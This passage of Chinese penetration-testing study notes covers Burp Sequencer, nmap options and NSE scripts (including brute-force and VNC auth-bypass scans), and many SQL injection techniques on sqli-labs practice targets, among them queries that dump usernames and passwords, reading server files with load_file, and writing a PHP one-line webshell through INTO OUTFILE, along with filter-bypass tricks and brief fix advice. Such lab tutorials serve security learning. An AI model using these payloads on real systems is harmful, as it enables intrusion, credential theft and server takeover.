- 从文件里加载。
加载完毕后,如果选择两次不同的请求或应答消息,则下发的比较按钮将被激活,此时可以选择文本比较或字节比较。
Sequencer
Burp Sequencer是一种用于分析数据样本随机性质量的工具。可以用它测试应用程序的会话令牌(Session token)、密码重置令牌是否可预测等场景,通过Sequencer的数据样本分析,能很好地降低这些关键数据被伪造的风险。
Burp Sequencer主要由信息截取(Live Capture)、手动加载 (Manual Load)和选项分析(Analysis Options)三个模块组成。
在截取信息后,单击Load按钮加载信息,然后单击”Analyze now”按钮进行分析。
nmap
Nmap (Network Mapper,网络映射器)是一款开放源代码的网络探测和安全审核工具。它被设计用来快速扫描大型网络,包括主机探测与发现、开放的端口情况、操作系统与应用服务指纹识别、WAF识别及常见安全漏洞。它的图形化界面是Zenmap,分布式框架为DNmap.
Nmap的特点如下所示:
- 主机探测:探测网络上的主机,如列出响应TCP和ICMP请求、ICMP请求、开放特别端口的主机。
- 端口扫描:探测目标主机所开放的端口。
- 版本检测:探测目标主机的网络服务,判断其服务名称及版本号。
- 系统检测:探测目标主机的操作系统及网络设备的硬件特性。
- 支持探测脚本的编写:使用Nmap的脚本引擎(NSE)和Lua编程语言。
Nmap入门
扫描参数
在命令行直接执行Nmap或查看帮助文档(输入nmap —help)将显示Nmap的用法及其功能。
Nmap的相关参数的含义与用法:
1.设置扫描目标时用到的相关参数。
- -iL:从文件中导入目标主机或目标网段。
- -iR:随机选择目标主机。
- —exclude:后面跟的主机或网段将不在扫描范围内。
- —excludefile:导入文件中的主机或网段将不在扫描范围中。
2.与主机发现方法相关的参数。
- -sL: List Scan(列表扫描),仅列举指定目标的IP,不进行主机发现。
- -sn: Ping Scan,只进行主机发现,不进行端口扫描。
- -Pn:将所有指定的主机视作已开启,跳过主机发现的过程。
- -PS/PA/PU/PY [portlist]:使用TCP SYN/ACK或SCTP INIT/ECHO方式来发现。
- -PE/PP/PM:使用ICMP echo、timestamp、netmask请求包发现主机。
- -PO [protocol list]:使用IP协议包探测对方主机是否开启。
- -n/-R:-n表示不进行DNS解析;-R表示总是进行DNS解析。
- —dns-servers
:指定DNS服务器。 - —system-dns:指定使用系统的DNS服务器。
- —traceroute:追踪每个路由节点。
3.与常见的端口扫描方法相关的参数。
- -sS/sT/sA/sW/sM:指定使用TCP SYN/Connect()/ACK/Window/Maimon scans的方式对目标主机进行扫描。
- -sU:指定使用UDP扫描的方式确定目标主机的UDP端口状况。
- -sN/sF/sX:指定使用TCP Null/FIN/Xmas scans秘密扫描的方式协助探测对方的TCP端口状态。
- —scanflags \
:定制TCP包的flags。 - -sI
:指定使用Idle scan的方式描目标主机(前提是需要找到合适的zombie host)。 - -sY/sZ:使用SCTP INIT/COOKIE-ECHO扫描SCTP协议端口的开放情况。
- -sO:使用IP protocol扫描确定目标机支持的协议类型。
- -b \
:使用FTP bounce scan扫描方式。
4.跟端口参数与扫描顺序的设置相关的参数。
- -p \
:扫描指定的端口。 - -F: Fast mode(快速模式),仅扫描TOP 100的端口。
- -r:不进行端口随机打乱的操作(如无该参数,Nmap会将要扫描的端口以随机顺序的方式进行扫描,让Nmap的扫描不易被对方防火墙检测到)
- —top-ports \
:扫描开放概率最高的number个端口(Nmap的作者曾做过大规模的互联网扫描,以此统计网络上各种端口可能开放的概率,并排列出最有可能开放端口的列表,具体可以参见nmap-services文件。默认情况下,Nmap会扫描最有可能的1000个TCP端口)。 - —port-ratio \
:扫描指定频率以上的端口。与上述—top-ports类似,这里以概率作为参数,概率大于—port-ratio的端口才被扫描。显然参数必须在0~1之间,想了解具体的概率范围可以查看nmap-services文件。
5.与版本侦测相关的参数。
- -sV:指定让Nmap进行版本侦测。
- —version-intensity \
:指定版本侦测的强度(0~9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。 - —version-light:指定使用轻量级侦测方式(intensity 2)。
- —version-all:尝试使用所有的probes进行侦测(intensity 9)。
- —version-trace:显示出详细的版本侦测过程信息。
在了解以上参数及其含义后,再来看用法会更好理解,扫描命令格式:
nmap+扫描参数+目标地址或网段 |
例:
nmap -T4 -A -v ip |
其中-A表示使用进攻性(Aggressive)方式扫描; -T4表示指定扫描过程使用的时序(Timing),共有6个级别(0~5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通信状况良好的情况下推荐使用T4。-v表示显示冗余(verbosity)信息,在扫描过程中显示扫描的细节,有助于让用户了解当前的扫描状态。
常用方法
1.扫描单个目标地址
在Nmap后面直接添加目标地址即可扫描
nmap 192.168.56.1 |
2.扫描多个目标地址
如果目标地址不在同一网段,或在同一网段但不连续且数量不多,可以使用该方法进行扫描。
nmap 192.168.88.1 192.168.56.1 |
3.扫描一个范围内的目标地址
可以指定扫描一个连续的网段,中间使用”-“连接,例如,下列命令表示扫描范围为192.168.88.1~192.168.88.10。
nmap 192.168.88.1-10 |
4.扫描目标地址所在的某个网段
以C段为例,如果目标是一个网段,则可以通过添加子网掩码的方式扫描,下列命令表示扫描范围为192.168.88.1~192.168.88.255。
nmap 192.168.88.1/24 |
5.扫描主机列表target.txt中的所有目标地址
扫描target.txt中的地址或者网段,此处导入的是绝对路径,如果target.txt文件与nmap在同一个目录下,则直接引用文件名即可。
nmap -iL target.txt |
6.扫描除某一个目标地址之外的所有目标地址
下列命令表示扫描除192.168.0.105之外的其他192.168.0.x地址。
nmap 192.168.88.1/24 --exclude 192.168.88.4 |
7.扫描除某一文件中的目标地址之外的目标地址
下列命令表示扫描除了target.txt文件中涉及的地址或网段之外的目标地址。还是以扫描192.168.88.x网段为例,在target.txt中添加192.168.88.1和192.168.88.5。
nmap 192.168.88.1/24 --excludefile target.txt |
8.扫描某一目标地址的特定端口
如果不需要对目标主机进行全端口扫描,只想探测它是否开放了某一端口,那么使用-p参数指定端口号,将大大提升扫描速度。
nmap 192.168.56.1 -p 22,23,80 |
9.对目标地址进行路由跟踪
下列命令表示对目标地址进行路由跟踪。
nmap --traceroute 192.168.56.1 |
10.扫描目标地址所在C段的在线状况
下列命令表示扫描目标地址所在C段的在线状况。
nmap -sP 192.168.56.1/24 |
11.目标地址的操作系统指纹识别
下列命令表示通过指纹识别技术识别目标地址的操作系统的版本。
nmap -O 192.168.88.1 |
12.目标地址提供的服务版本检测
下列命令表示检测目标地址开放的端口对应的服务版本信息。
nmap -sV 192.168.88.1 |
13.探测防火墙状态
在实战中,可以利用FIN扫描的方式探测防火墙的状态。FIN扫描用于识别端口是否关闭,收到RST回复说明该端口关闭,否则就是open或filtered状态。
nmap -sF -T4 192.168.88.1 |
状态识别
Nmap输出的是扫描列表,包括端口号、端口状态、服务名称、服务版本及协议。通常有如下表所示的6种状态。
状态 | 含义 |
---|---|
open | 开放的,表示应用程序正在监听该端口的连接,外部可以访问 |
filtered | 被过滤的,表示端口被防火墙或其他网络设备阻止,不能访问 |
closed | 关闭的,表示目标主机未开启该端口 |
unfiltered | 未被过滤的,表示Nmap无法确定端口所处状态,需进一步探测 |
open/filtered | 开放的或被过滤的,Nmap不能识别 |
closed/filtered | 关闭的或被过滤的,Nmap不能识别 |
了解了以上状态,在渗透测试过程中,将有利于我们确定下一步应该采取什么
方法或攻击手段。
Nmap进阶
脚本介绍
Nmap的脚本默认存在/usr/share/nmap/scripts文件夹下
Nmap的脚本主要分为以下几类:
- Auth:负责处理鉴权证书(绕过鉴权)的脚本。
- Broadcast:在局域网内探查更多服务的开启情况,如DHCP/DNS/SQLServer等。
- Brute:针对常见的应用提供暴力破解方式,如HTTP/SMTP等。
- Default:使用-sC或A选项扫描时默认的脚本,提供基本的脚本扫描能力。
- Discovery:对网络进行更多信息的搜集,如SMB枚举、SNMP查询等。
- Dos:用于进行拒绝服务攻击。
- Exploit: 利用已知的漏洞入侵系统。
- External:利用第三方的数据库或资源。例如,进行Whois解析。
- Fuzzer:模糊测试脚本,发送异常的包到目标机,探测出潜在漏洞。
- Intrusive:入侵性的脚本,此类脚本可能弓发对方的IDS/IPS的记录或屏蔽。
- Malware:探测目标机是否感染了病毒、开启后门等信息。
- Safe:此类与Intrusive相反,属于安全性脚本。
- Version:负责增强服务与版本扫描功能的脚本。
- Vuln:负责检查目标机是否有常见漏洞,如MS08-067.
常见脚本
用户还可根据需要设置—script=类别进行扫描,常用参数如下所示:
- -sC/—script=default:使用默认的脚本进行扫描。
- —script= \
:使用某个脚本进行扫描。 - —script-args=key1=value1,key2=value2…:该参数用于传递脚本里的参数,key1是参数名,该参数对应value1这个值。如有更多的参数,使用逗号连接。
- —script-args-file=filename:使用文件为脚本提供参数。
- —script-trace:如果设置该参数,则显示脚本执行过程中发送与接收的数据。
- —script-updatedb:在Nmap的scripts目录里有一个script.db文件,该文件保存了当前Nmap可用的脚本,类似于一个小型数据库,如果我们开启Nmap并调用了此参数,则Nmap会自行扫描scripts目录中的扩展脚本,进行数据库更新。
- —script-help:调用该参数后,Nmap会输出该脚本对应的脚本使用参数,以及详细的介绍信息。
实例
1.鉴权扫描
使用—script=auth可以对目标主机或目标主机所在的网段进行应用弱口令检测。
nmap --script=auth 192.168.88.1 |
2.暴力破解攻击
Nmap具有暴力破解的功能,可对数据库、SMB、SNMP等进行简单密码的暴力猜解。
nmap --script=brute 192.168.0.1 |
3.扫描常见的漏洞
Nmap具备漏洞扫描的功能,可以检查目标主机或网段是否存在常见的漏洞。
nmap --script=vuln 192.168.88.1 |
4.应用服务扫描
Nmap具备很多常见应用服务的扫描脚本,例如VNC服务、MySQL服务、Telnet服务、Rsync服务等,此处以VNC服务为例。
nmap --script=realvnc-auth-bypass 192.168.88.1 |
5.探测局域网内更多服务开启的情况
输入以下命令即可探测局域网内更多服务开启的情况。
nmap -n -p 445 --script=broadcast 192.168.0.1 |
6.Whois解析
利用第三方的数据库或资源查询目标地址的信息,例如进行Whois解析。
nmap -script external idefun.com |
更多扫描脚本的使用方法可参见https://nmap.org/nsedoc/categories.
Web安全原理剖析
SQL注入基础
注意:SQL注入使用的是sqli-lab靶场,可下载安装,也可使用在线靶场,网址如下:
SQL注入简介
SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。
一般情况下,开发人员可以使用动态SQL语句创建通用、灵活的应用。动态SQL语句是在执行过程中构造的,它根据不同的条件产生不同的SQL语句。当开发人员在运行过程中需要根据不同的查询标准决定提取什么字段(如select语句),或者根据不同的条件选择不同的查询表时,动态地构造SQL语句会非常有用。
下面以PHP语句为例:
$query= “SELECT * FROM users WHERE id=$_GET [‘id’] “;
由于这里的参数ID可控,且带入数据库查询,所以非法用户可以任意拼接SQL语句进行攻击。
当然,SQL注入按照不同的分类方法可以分为很多种,如报错注入、盲注、Union注入等。
SQL注入的原理
SQL注入漏洞的产生需要满足以下两个条件:
- 参数用户可控:前端传给后端的参数内容是用户可以控制的。
- 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。
当传入的ID参数为1’时,数据库执行的代码如下所示:
select * from users where id= 1' |
这不符合数据库语法规范,所以会报错。当传入的ID参数为and 1=1时,执行的SQL语句如下所示:
select * from users where id=1 and 1=1 |
因为1=1为真,且where语句中id=1也为真,所以页面会返回与id= 1相同的结果。当传入的ID参数为and 1=2时,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果.
由此可以初步判断ID参数存在SQL注入漏洞,攻击者可以进一步拼接SQL语句进行攻击,致使数据库信息泄露,甚至进一步获取服务器权限等。
在实际环境中,凡是满足上述两个条件的参数皆可能存在SQL注入漏洞,因此开发者需秉持”外部参数皆不可信的原则”进行开发。
SQL注入分类
- 回显正常—-> 联合查询 union select
- 回显报错—-> Duplicate entry()
extractvalue() updatexml()
- 盲注 —->布尔型盲注
基于时间的盲注sleep()
与MySQL注入相关的知识点
在MySQL 5.0版本之后,MySQL默认在数据库中存放一个”information_schema”的数据库,在该库中,需要记住三个表名,分别是SCHEMATA、TABLES和COLUMNS.
SCHEMATA表存储该用户创建的所有数据库的库名。我们需要记住该表中记录数据库库名的字段名为SCHEMA_NAME。
TABLES表存储该用户创建的所有数据库的库名和表名。我们需要记住该表中记录数据库库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME。
COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名。我们需要记住该表中记录数据库库名、表名和字段名的字段名为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME。
常用的MySQL查询语句和函数如下所示:
1.MySQL查询语句
在不知道任何条件时,语句如下所示:
SELECT 要查询的字段名 FROM库名.表名 |
在知道一条已知条件时,语句如下所示:
SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件1的字段名='已知条件1的值' and 已知条件2的字段名='已知条件2的值' |
2.limit的用法
limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录; n是指取n条记录。例如limit 0,1表示从第一条记录开始,取一条记录,不使用limit和使用limit查询的结果如下所示,可以很明显地看出二者的区别。
3.需要记住的几个函数
- database():当前网站使用的数据库。
- version():当前MySQL的版本。
- user():当前MySQL的用户。
4.注释符
在MySQL中,常见注释符的表达方式: #或—空格或/**/.
5.内联注释
内联注释的形式:/*! code*/。内联注释可以用于整个SQL语句中,用来执行我们的SQL语句,下面举一个例子:
index.php?id=-15 /*! UNION*//*! SELECT*/1, 2, 3 |
Union注入攻击
union型SQL注入,看名字就能知道,使用这种方法可以直接在页面中返回我们要查询的数据,方法也很简单,即使用UNION联合查询即可。
但使用UNION联合查询时还要满足一个条件,那就是我们构造的SELECT语句的字段数要和当前表的字段数相同才能联合查询,即首先我们要确定当前表的字段数。order by x是数据库中的一个排序语句,order by 1即通过第一个字段进行排序。这时我们就可以构造SELECT * FROM news WHERE id=’1’ order by x— a’来猜测当前表的字段数,x值递增,当页面返回数据异常时,即无当前字段时,用当前的x值减一即可得到当前表的字段数了。
知道了当前表的字段数,就可以进行UNION联合查询了。但联合查询时,页面只会显示查询到数据的第一条,也就是UNION前的SELECT语句的结果,想要显示我们自己联合查询的结果时,还必须使前一条语句失效,这里我们构造and 1=2使前一句SELECT语句失效。
Union注入攻击的测试地址: http://sqli.bihuo.cn/Less-1/访问该网址时,页面返回的结果如图所示。
访问id=1时,返回页面如下
在URL后添加一个单引号(即id=1’),再次访问,页面返回的结果与id=1的结果不同。
根据报错信息,猜想输入参数的值被放到一对单引号之间。
猜测后台源码中存在类似于如下的数据库查询语句(可查看后台源码证实猜测):
SELECT * FROM users WHERE id='$id' LIMIT 0,1 |
使用order by 1-99查询该数据表中的字段数量
使用order by 3 —+查询该数据表中的字段数量,正常返回
使用order by 4 —+查询该数据表中的字段数量,返回结果如下(—+中,“—”是SQL查询语句中的注释符,“+”在URL中表示空格。)
所以共有3列,然后进行数据库爆破(%23是#的url编码)
http://sqli.bihuo.cn/Less-1/?id=1%27%20and%201=2%20union%20select%201,database(),version();%23 |
到此为止,我们就知道,此网站使用的数据库版本是5.5.62-log,使用的数据库名称为sqli_bihuo_cn
爆破数据表(group_concat函数是典型的字符串连接函数。group_concat(table_name)表示把table_name字段的值打印在一行,逗号分隔(默认)。)
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();--+ |
爆破数据列
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='sqli_bihuo_cn' and table_name='users';--+ |
爆破数据值(0x3a是:的16进制的分隔符,比如在爆数据值时,(username,0x3a,password)表示(username:password)。)
?id=-1' union select 1,group_concat(username,0x3a,password),3 from sqli_bihuo_cn.users;--+ |
或
?id=-1' union select 1,group_concat(username,':',password),3 from sqli_bihuo_cn.users;--+ |
Boolean注入攻击
Boolean注入攻击的测试地址:https://sqli.wmcoder.site/sqli-labs/Less-8/
输入?id=1查看返回页面(正确)
输入?id=1’查看返回页面(错误)
由此判断可能为Boolean盲注,true或false两种结果对应的页面如上所示,因为只能判断对错,要想得到结果需要一个一个的去试,这将是一个大工程,这里仅给出部分思路,后面将给出对应的python脚本.
首先判断数据库名的长度(也可以直接爆破数据库名),下面语句判断数据库名长度是不是大于5
https://sqli.wmcoder.site/sqli-labs/Less-8/?id=1%27%20and%20length(database())>5%20--+ |
正确返回
判断数据库名,下面语句判断数据库名第一个字符是否是s
https://sqli.wmcoder.site/sqli-labs/Less-8/?id=1%27and%20left(database(),1)=%27s%27%20--+ |
正确返回
猜测表名,下面语句判断表名第一个字符是否为e(ascii码为101)
https://sqli.wmcoder.site/sqli-labs/Less-8/ |
正确返回
猜测users表中字段,下面语句判断users表第一个字段的第一个字符是否为e(ascii码为105)
https://sqli.wmcoder.site/sqli-labs/Less-8/?id=1%27%20and%20(select%20ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1),1,1)))=105--+ |
同样正确(因为我已经爆破出来了)
下面给出对应的python脚本
import requests |
同样可以使用BurpSuite进行爆破
首先开启截断,获取到的数据如下
右键send to intruder
点击Position,清空变量
分别在下面两处添加变量
攻击类型选择Cluster bomb
点击Payloads设置payload1
设置payload2
点击start attack开始爆破
根据length的差异找出对应的字符
以数据库名第一个字符(s)为例,此时payload1为1,payload2为115,且length为910,明显与其他(926)不同
报错注入攻击
在探讨SQL注入之报错注入之前,有一个前提就是页面能够响应详细的错误描述,然而mysql数据库中显示错误描述是因为开发程序中采用了print_r mysql_error()函数,将mysql错误信息输出。
报错注入地址:https://sqli.wmcoder.site/sqli-labs/Less-5/
报错注入可能用到下面几个函数:
extractvalue函数
extractvalue(xml_doucument,xpath_string,) |
xml_doucument是待查询文档,xpath_string是xpath查询语法
作用:对xml文档进行查询
注入语句
https://sqli.wmcoder.site/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(',',(select version()))) --+ |
爆出数据库版本
updatexml函数
updatexml(XML_document,XPath_string,new_value) |
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值
注入语句
https://sqli.wmcoder.site/sqli-labs/Less-5/?id=1' and updatexml(1,concat(',',(select database())),1) --+ |
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出数据库名
floor报错注入
https://sqli.wmcoder.site/sqli-labs/Less-5/?id=1' union select 1,count(*),floor(rand(0)*2) x from information_schema.tables group by concat('~',(select database()),'~',x)--+ |
成功爆出数据库名
接下来以floor报错注入演示,上面我们已经爆出数据库名,数据库名为:security,下面爆破数据库中的表,构造注入语句如下
https://sqli.wmcoder.site/sqli-labs/Less-5/?id=1' union select 1,count(*),floor(rand(0)*2) x from information_schema.tables group by concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~',x)--+ |
爆出第一个表名(emails),后续通过修改limit 0,1爆出其他表名,例:limit 1,1,爆出referers表
爆出的表名如下:
- emails
- referers
- uagents
- users
接下来,爆出users表的字段,构造注入语句
https://sqli.wmcoder.site/sqli-labs/Less-5/?id=1' union select 1,count(*),floor(rand(0)*2) x from information_schema.tables group by concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),'~',x)--+ |
爆出第一个字段id
同理,利用limit爆出其他字段
爆出的字段如下:
- id
- username
- password
接下来爆出users表中数据,构造注入语句如下:
https://sqli.wmcoder.site/sqli-labs/Less-5/?id=1' union select 1,count(*),floor(rand(0)*2) x from information_schema.tables group by concat('~',(select concat(username,':',password) from users limit 0,1),'~',x)--+ |
成功爆出用户名和密码,同样利用limit爆出其他数据
宽字节注入
测试地址:https://sqli.wmcoder.site/sqli-labs/Less-32/
当输入?id=1’时
https://sqli.wmcoder.site/sqli-labs/Less-32/?id=1' |
可见1与’之间多了个\,导致单引号被转义
想办法使\成为单引号中的内容(一般使用%df)
https://sqli.wmcoder.site/sqli-labs/Less-32/?id=1%df' --+ |
接下来可以使用union注入或者报错注入
https://sqli.wmcoder.site/sqli-labs/Less-32/?id=-1%df' union select 1,2,database() --+ |
SQL注入进阶
时间注入
时间注入测试地址:https://sqli.wmcoder.site/sqli-labs/Less-9/
时间注入也叫时间盲注,与Boolean盲注不同的是利用sleep()或benchmark()让mysql的执行时间变长,多与if(exp,v1,v2):如果表达式exp成立,返回结果v1;否则,返回结果v2.
BENCHMARK(count,expr) |
BENCHMARK会重复计算expr表达式count\次,通过这种方式就可以评估出mysql执行这个expr表达式的效率。这个函数的返回值始终是0,但可以根据客户端提示的执行时间来得到BENCHMARK总共执行的所消耗的时间.
以实验为例,不管在地址栏输入什么,页面都保持不变
尝试使用sleep()函数根据反馈时间(这里为了更为直观的展示,我用BurpSuite进行演示)判断真假,构造注入语句,下面语句不出意外的话不会休眠2秒
https://sqli.wmcoder.site/sqli-labs/Less-9/?id=1%27%20or%20if(0,sleep(2),1)%20--+ |
https://sqli.wmcoder.site/sqli-labs/Less-9/?id=1%27%20or%20if(1,sleep(2),1)%20--+ |
确实存在时间盲注,接下来在上面语句的基础上构造注入语句,例如爆破数据库名第一个字母是不是s
https://sqli.wmcoder.site/sqli-labs/Less-9/?id=1%27%20or%20if(substr(database(),1,1),sleep(2),1)%20--+ |
cookie注入
cookie注入测试地址:https://sqli.wmcoder.site/sqli-labs/Less-20/
类似UNION注入,只不过修改的是cookie
输入用户名和密码(默认密码和用户名均为admin)登录
BurpSuite开启截断,刷新网页,发现Cookie
接下来尝试修改cookie达到注入,右键选择send to repeater
在cookie处加上单引号并点击go,爆出部分语句
使用order by判断字段个数(经判断为3个)
使用union爆出数据库名(and 0 使前面语句失效)
uname=admin' and 0 union select 1,database(),2--+ |
爆出用户名和密码
uname=admin' and 0 union select 1,group_concat(username,':',password),2 from users--+ |
HTTP-Referer注入
测试地址:http://sqli.bihuo.cn/Less-19/
用户名,密码均为admin
登录后抓包,send to repeater
通过修改referer来注入,加入单引号爆出下面内容
在单引号后面加上)和#
http://sqli.bihuo.cn/Less-19/')# |
未报错
接下来尝试注入
http://sqli.bihuo.cn/Less-19/') and 1=1# |
爆出更多内容,发现两个内容间用逗号分隔,考虑insert和update语句
猜测SQL语句为
insert into table(a,b,c) values('','','') |
将语句修改为
insert into table(a,b,c) values('' and '','','') |
没有报错
结合报错注入构造注入语句(因在线靶场问题,我在本地做的)
http://192.168.88.149:9002/Less%2D19/' and updatexml(1,concat(':',(select database(),1) and ' |
成功爆出数据库名,接下来按照格式爆出其他数据
SQL注入读写文件
SQL注入读取文件
测试地址:sqli-lab less-1 (这里我使用的是本地靶场,就不给出具体链接)
所用函数:
Load_file(file_name):读取文件并以字符串形式返回文件的内容
使用条件:
- 必须有权限读取并且文件必须完全可读
- 欲读取文件必须在服务器上
- 必须指定文件完整的路径
- 欲读取文件必须小于max_allowed_packet
这里我在本地靶机(windows系统)的C盘创建了一个1.txt,内容如下:
结合UNION注入构造注入语句
http://192.168.88.141:86/Less-1/?id=-1' union select 1,2,load_file("C:\\1.txt") --+ |
结果如下,成功读取到1.txt中内容
接下来读取Less-1的index.php
http://192.168.88.141:86/Less-1/?id=-1%27%20union%20select%201,2,load_file(%22C:\\inetpub\\target\\sqlilabs\\Less-1\\index.php%22)%20--+ |
将读取的php内容以16进制输出
http://192.168.88.141:86/Less-1/?id=-1%27%20union%20select%201,2,hex(load_file(%22C:\\inetpub\\target\\sqlilabs\\Less-1\\index.php%22)%20)--+ |
然后将16进制转换为字符串,即可得到源代码
SQL注入写入文件
测试地址:sqli-lab Less-7
所用函数:
into outfile:在MySQL中,可以使用SELECT…INTO OUTFILE语句将表的内容导出成一个文本文件
测试:在已知具体路径下新建a.txt并写入1,2,3
http://192.168.88.141:86/Less-7/?id=-1')) union select 1,2,3 into outfile "C:\\inetpub\\target\\sqlilabs\\Less-7\\a.txt" --+ |
访问
http://192.168.88.141:86/Less-7/a.txt |
成功写入
注意:经测试,不能连续操作同一文件,只能创建并写入
接下来搞点事情,写入一句话木马
http://192.168.88.141:86/Less-7/?id=-1')) union select 1,2,"<?php @eval($_POST[value]);?>" into outfile "C:\\inetpub\\target\\sqlilabs\\Less-7\\b.php" --+ |
访问
http://192.168.88.141:86/Less-7/b.php |
成功写入
使用中国菜刀连接,右键点击添加
输入网址和value,点击添加
右键选择文件管理
成功
XFF注入
SQL注入绕过技术
大小写绕过注入
当一些关键词如select,order等被过滤时,可以尝试修改其大小写来绕过,例如使用SElect,ORder等.
双写注入
同样当一些关键词如select,order等被过滤时,可以采用下面格式selselectect,ordorderer来绕过,当select被过滤时,selselectect又会组成select传入数据库.
绕过注释符过滤
测试地址:https://sqli.wmcoder.site/sqli-labs/Less-23/
输入?id=1时
加上单引号报错
按理说加上注释符(#,—+)就不会报错,可依旧报错
发现注释符好像不起作用,其实是注释符被过滤了,我们要在不使用注释符的情况下保证SQL语句的正确性
猜测SQL语句为
id='' limit 0,1 |
在不使用注释符的情况下保证SQL语句的正确
id='' and(or) '' limit 0,1 |
或
id='' union select 1,2,' |
第一种方式
id='' or '' limit 0,1 |
加入自定义的SQL语句
id='' or (自定义SQL语句) or '' limit 0,1 |
利用上述构造SQL语句来爆破数据库名
https://sqli.wmcoder.site/sqli-labs/Less-23/?id=1' or (select database()) or ' |
发现并不会爆出内容,结合报错注入继续构造SQL注入语句
https://sqli.wmcoder.site/sqli-labs/Less-23/?id=1' or (extractvalue(1,concat(':',(select database())))) or ' |
成功爆出数据库名
第二种方式
id='' union select 1,2,' |
使用union注入,需要判断列数,但无法使用order by语句判断,可以一个一个的试
https://sqli.wmcoder.site/sqli-labs/Less-23/?id=1' union select 1,' |
报错
https://sqli.wmcoder.site/sqli-labs/Less-23/?id=1' union select 1,2,' |
成功
同样利用报错注入
https://sqli.wmcoder.site/sqli-labs/Less-23/?id=1' union select 1,(extractvalue(1,concat(':',(select database())))),' |
绕过and-or字符过滤
测试地址:https://sqli.wmcoder.site/sqli-labs/Less-25/
使用and
https://sqli.wmcoder.site/sqli-labs/Less-25/?id=1' and 1=1 --+ |
报错
https://sqli.wmcoder.site/sqli-labs/Less-25/?id=1' a and 1=1 --+ |
发现a和1=1之间的and无法使用
同理or也无法使用,and和or被过滤
方法一
尝试使用他们的大写格式
https://sqli.wmcoder.site/sqli-labs/Less-25/?id=1' And 1=1 --+ |
and的大写也无法使用
https://sqli.wmcoder.site/sqli-labs/Less-25/?id=1' Or 1 --+ |
同样被过滤
接下来尝试and和or的字符表示形式(&&和||)
https://sqli.wmcoder.site/sqli-labs/Less-25/?id=1' && 1 --+ |
失败
https://sqli.wmcoder.site/sqli-labs/Less-25/?id=1' || 1 --+ |
成功
可以利用||构造注入语句获取数据库名(结合报错注入),以获取数据库名为例
https://sqli.wmcoder.site/sqli-labs/Less-25/?id=-1' || extractvalue(1,concat(':',(select database()))) --+ |
方法二
既然and和or被过滤,索性就不用呗,尝试使用union注入
使用order by判断字段个数
https://sqli.wmcoder.site/sqli-labs/Less-25/?id=-1' order by 3 --+ |
发现连order中的or都被过滤了
下面我们只能通过报错判断字段数
https://sqli.wmcoder.site/sqli-labs/Less-25/?id=-1' union select 1,2 --+ |
两个字段报错
https://sqli.wmcoder.site/sqli-labs/Less-25/?id=-1' union select 1,2,3 --+ |
https://sqli.wmcoder.site/sqli-labs/Less-25/?id=-1' union select 1,2,extractvalue(1,concat(':',(select database()))) --+ |
爆出数据库名
绕过空格过滤
测试地址:https://sqli.wmcoder.site/sqli-labs/Less-26/
本例中不仅过滤了空格还过滤了or,and以及注释等
运用前面的知识,使用两个||构造注入语句
https://sqli.wmcoder.site/sqli-labs/Less-26/?id=1' || extractvalue(1,concat(':',(database()))) ||' |
对比上面语句,两者区别在于有没有使用select,但两者结果却相差很多
https://sqli.wmcoder.site/sqli-labs/Less-26/?id=1' || extractvalue(1,concat(':',(select database()))) ||' |
由于空格被过滤,select直接与database()连接在一起,所以报错.那么可以尝试使用其他字符代替空格
可以代替空格的字符
字符 | 含义 |
---|---|
%09 | TAB键(水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return功能 |
%0b | TAB键(垂直) |
%a0 | 空格 |
/**/ | 注释代替空格 |
注意:在 Windows 下会有无法用特殊字符代替空格的问题,这是 Apache 解析的问题,Linux下无这个问题。
如果空格被过滤,括号没有被过滤,可以用括号绕过。在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
https://sqli.wmcoder.site/sqli-labs/Less-26/?id=1' || extractvalue(1,concat(':',(select(version())))) ||' |
成功绕过
SQL注入修复建议
常用的SQL注入漏洞的修复方法有两种:
1.过滤危险字符
多数CMS都采用过滤危险字符的方式,例如,采用正则表达式匹配union、sleep、load_file等关键字,如果匹配到,则退出程序。
使用过滤的方式,在一定程度上可以防止SQL注入漏洞,但仍然存在被绕过的可能。
2.使用预编译语句
其实使用PDO预编译语句,需要注意的是,不要将变量直接拼接到PDO语句中,而是使用占位符进行数据库的增加、删除、修改、查询。
XSS基础
XSS漏洞介绍
跨站脚本(Cross-Site Scripting,简称为XSS或跨站脚本或跨站脚本攻击,为了不与css混淆故缩写为xss)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户在浏览网页时就会受到影响。恶意用户利用XSS代码攻击成功后,可能得到很高的权限(如执行些操作)、私密网页内容、会话和cookie等各种内容。
XSS攻击可以分为三种:反射型、存储型和DOM型
反射型XSS
反射型XSS又称非持久性XSS,这种攻击往往具有一次性
攻击者通过邮件等形式将包含XSS代码的链接发送给正常用户,当用户点击时,服务器接受用户的请求并处理,然后将带有XSS的代码发送给用户.用户浏览器解析执行XSS代码触发XSS漏洞.
存储型XSS
存储型XSS又称持久型XSS,攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性
